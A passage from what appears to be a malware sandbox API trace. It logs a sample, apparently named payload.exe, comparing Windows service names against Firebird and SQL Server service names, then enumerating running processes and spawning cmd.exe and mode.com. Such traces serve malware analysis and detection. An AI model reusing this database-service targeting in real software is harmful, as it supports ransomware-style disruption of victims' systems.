lpString2="MpsSvc") returned 1 [0153.767] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0153.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0153.767] lstrlenW (lpString="NcbService") returned 10 [0153.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0153.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0153.767] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0153.767] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0153.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0153.767] lstrlenW (lpString="netprofm") returned 8 [0153.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0153.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0153.767] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0153.767] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0153.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0153.767] lstrlenW (lpString="NgcSvc") returned 6 [0153.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0153.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0153.767] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0153.767] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0153.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0153.767] lstrlenW (lpString="NlaSvc") returned 6 [0153.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0153.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0153.768] lstrlenW (lpString="nsi") returned 3 [0153.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0153.768] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0153.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0153.768] lstrlenW (lpString="PcaSvc") returned 6 [0153.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0153.768] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0153.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0153.768] lstrlenW (lpString="PlugPlay") returned 8 [0153.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0153.768] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0153.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0153.768] lstrlenW (lpString="Power") returned 5 [0153.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0153.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0153.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0153.768] lstrlenW (lpString="ProfSvc") returned 7 [0153.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0153.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0153.768] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0153.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0153.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0153.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0153.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0153.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0153.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0153.769] lstrlenW (lpString="RpcSs") returned 5 [0153.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0153.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0153.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0153.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0153.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0153.769] lstrlenW (lpString="SamSs") returned 5 [0153.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0153.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0153.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0153.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0153.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0153.770] lstrlenW (lpString="Schedule") returned 8 [0153.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0153.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0153.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0153.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0153.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0153.770] lstrlenW (lpString="SecurityHealthService") returned 21 [0153.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0153.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0153.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0153.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0153.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0153.770] lstrlenW (lpString="SENS") returned 4 [0153.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0153.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0153.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0153.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0153.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0153.770] lstrlenW (lpString="ShellHWDetection") returned 16 [0153.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0153.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0153.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0153.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0153.770] lstrlenW (lpString="Spooler") returned 7 [0153.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0153.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0153.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0153.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0153.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0153.771] lstrlenW (lpString="StateRepository") returned 15 [0153.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0153.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0153.771] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0153.771] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0153.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0153.771] lstrlenW (lpString="SysMain") returned 7 [0153.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0153.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0153.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0153.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0153.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0153.771] lstrlenW (lpString="SystemEventsBroker") returned 18 [0153.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0153.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0153.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0153.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0153.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0153.771] lstrlenW (lpString="Themes") returned 6 [0153.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0153.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0153.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0153.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0153.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0153.771] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0153.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0153.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0153.772] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0153.772] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0153.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4244998 | out: hHeap=0x660000) returned 1 [0153.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0153.775] Process32FirstW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.775] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.776] lstrlenW (lpString="System") returned 6 [0153.776] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.777] lstrlenW (lpString="smss.exe") returned 8 [0153.777] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.777] lstrlenW (lpString="csrss.exe") returned 9 [0153.777] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.829] lstrlenW (lpString="wininit.exe") returned 11 [0153.830] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.830] lstrlenW (lpString="csrss.exe") returned 9 [0153.830] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.831] lstrlenW (lpString="winlogon.exe") returned 12 [0153.831] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.831] lstrlenW (lpString="services.exe") returned 12 [0153.831] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.832] lstrlenW (lpString="lsass.exe") returned 9 [0153.832] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.832] lstrlenW (lpString="svchost.exe") returned 11 [0153.832] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.833] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.833] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.834] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.834] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.834] lstrlenW (lpString="svchost.exe") returned 11 [0153.834] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.835] lstrlenW (lpString="dwm.exe") returned 7 [0153.835] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.837] lstrlenW (lpString="svchost.exe") returned 11 [0153.837] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.837] lstrlenW (lpString="svchost.exe") returned 11 [0153.837] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.838] lstrlenW (lpString="svchost.exe") returned 11 [0153.838] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.838] lstrlenW (lpString="svchost.exe") returned 11 [0153.838] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.839] lstrlenW (lpString="svchost.exe") returned 11 [0153.839] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.839] lstrlenW (lpString="svchost.exe") returned 11 [0153.839] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.840] lstrlenW (lpString="svchost.exe") returned 11 [0153.840] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.841] lstrlenW (lpString="svchost.exe") returned 11 [0153.841] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.842] lstrlenW (lpString="svchost.exe") returned 11 [0153.842] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.843] lstrlenW (lpString="svchost.exe") returned 11 [0153.843] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.843] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.843] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.844] lstrlenW (lpString="svchost.exe") returned 11 [0153.844] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.845] lstrlenW (lpString="audiodg.exe") returned 11 [0153.845] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0153.845] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0153.845] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0153.846] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0153.846] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0153.846] lstrlenW (lpString="Memory Compression") returned 18 [0153.846] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0153.847] lstrlenW (lpString="sihost.exe") returned 10 [0153.847] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.849] lstrlenW (lpString="svchost.exe") returned 11 [0153.850] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.850] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.850] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0153.851] lstrlenW (lpString="msoia.exe") returned 9 [0153.851] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.851] lstrlenW (lpString="explorer.exe") returned 12 [0153.851] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0153.852] lstrlenW (lpString="SearchUI.exe") returned 12 [0153.852] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0153.852] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0153.852] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0153.853] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0153.853] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0153.854] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0153.854] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0153.854] lstrlenW (lpString="payload.exe") returned 11 [0153.854] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0153.855] lstrlenW (lpString="cmd.exe") returned 7 [0153.855] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0153.855] lstrlenW (lpString="conhost.exe") returned 11 [0153.855] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0154.254] lstrlenW (lpString="mode.com") returned 8 [0154.254] Process32NextW (in: 